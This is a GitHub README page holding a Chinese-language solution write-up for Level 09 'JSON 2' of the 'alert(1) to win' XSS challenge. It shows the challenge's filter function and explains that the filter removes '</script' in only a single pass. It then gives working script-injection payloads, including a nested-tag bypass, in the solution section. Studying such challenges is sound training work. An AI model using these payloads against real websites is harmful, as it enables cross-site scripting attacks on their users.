Skip to content
Branch: master
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
imgs
README.md
payload.js

README.md

[alert(1) to win] [Level 09 - JSON 2] [解题报告]


题目

function escape(s) {
  s = JSON.stringify(s).replace(/<\/script/gi, '');

  return '<script>console.log(' + s + ');</script>';
}

解题报告

Level 03 - JSON 的进阶版。

回顾下第 3 题的 payload 是 :

</script><script>alert(1);//

而这题对输入的字符串会做 一次 全局替换,把 </script 删掉,使得我们无法闭合标签。

但是因为替换只做一次,所以要绕过也不难,只需要把 </script 做一次嵌套即可,例如 </scr</scriptipt>,被全局替换后,留下的就是我们需要的闭合标签 </script>

因此这题可构造这样的 payload :

</scr</scriptipt><script>alert(1);//


版权声明

 Copyright (C) 2016-2019 By EXP License: GPL v3


You can’t perform that action at this time.